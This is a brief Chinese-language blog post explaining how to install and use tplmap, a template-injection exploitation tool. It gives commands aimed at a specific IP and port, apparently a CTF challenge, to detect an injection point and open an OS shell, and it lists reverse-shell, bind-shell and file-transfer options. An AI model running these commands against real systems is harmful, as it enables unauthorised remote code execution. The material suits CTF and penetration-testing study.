tplmap-模板注入工具

tpl是用python2编写的,报错一般是使用python3,换个python版本即可

kali安装过程
git clone https://github.com/epinna/tplmap

cd tplmap

sudo pip2 install -r requirements.txt
常用操作命令
#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'


#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell
详细命令

--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files

centos系统中的安装与kali类似,也可使用docker进行安装

posted @ 2022-07-14 12:30  自然力  阅读(430)  评论(0)    收藏  举报